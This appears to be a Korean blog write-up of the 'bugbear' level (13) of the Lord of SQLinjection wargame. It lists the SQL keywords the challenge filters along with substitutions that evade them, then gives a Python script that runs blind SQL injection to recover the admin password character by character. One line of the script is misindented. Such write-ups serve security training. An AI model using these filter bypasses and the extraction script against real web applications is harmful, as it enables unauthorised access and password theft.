LJ

Lord of SQLinjection ( 13번 ) bugbear 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 13번 ) bugbear

짱준재 2024. 6. 8. 11:04

 

 

 

13번 bugbear이다.

 

 

 

첫번째 쿼리에서 

 

 

prob

_

.

()

'

substr

ascii

=

or

and

공백

like

0x

 

 

필터링을 한다.

 

 

그러므로

 

substr -> substring -> mid 

 

ascii -> ord

 

근데 or 필터링 때문에

 

ord -> hex

 

 

or -> ||

 

and -> %26%26

 

like -> in

 

공백 -> %0d, %0a ,%09 아무거나 골라쓰면 된다.

 

%09 : tab

%0a : line feed

%0b : vertical tab

%0c : form feed

%0d : carriage return

+ : 공백과 같은 뜻.

 

/*(hex 반환 타입은 string이라 in 을 써서 비교한다.)*/

 

import requests

def check_length(url,cookie):
	head={"PHPSESSID":f"{cookie}"}
	print("비밀번호 문자열 길이 확인중...")
	for num in range(0,30):
		param=f"?no=0%0a||%0aid%0ain(\"admin\")%0a%26%26%0alength(pw)>{num}%0a%23"
		mine=url+param
		res=requests.get(mine,cookies=head)
		if ("Hello admin" not in res.text):
			return num
def check_pw(url,cookie,length):
	head = {"PHPSESSID":f"{cookie}"}
	jjang=""
	for len in range(1, length+1):
		print(f"{len}번째 비밀번호 확인중...")
		for wp in range(32,127):
			param=f"?no=0||id%0ain%0a(\"admin\")%26%26hex(mid(pw,{len},1))%0ain%0a(hex({wp}))%0a%23"
		        mine=url+param
			res=requests.get(mine, cookies=head)
			if("Hello admin" in res.text):
				print(f"{len}번째 문자 ->{chr(wp)}")
				jjang+=chr(wp)
				break
	return jjang

if __name__ == "__main__":
    print (" 블라인드 공격 시작 ")
    url=input("URL:")
    cookie=input("cookie:")
    
    length=check_length(url,cookie)
    print(f"비밀번호의 길이는 {length}입니다.")
    
    jjang=check_pw(url,cookie,length)
    print(f"비밀번호는 {jjang}입니다!!!!!!!!")
    	
    exit

 

 

python 스크립트로 인젝션 시도

 

 

 

 

 

 

 

 

 

문제가 해결되었다.

Comments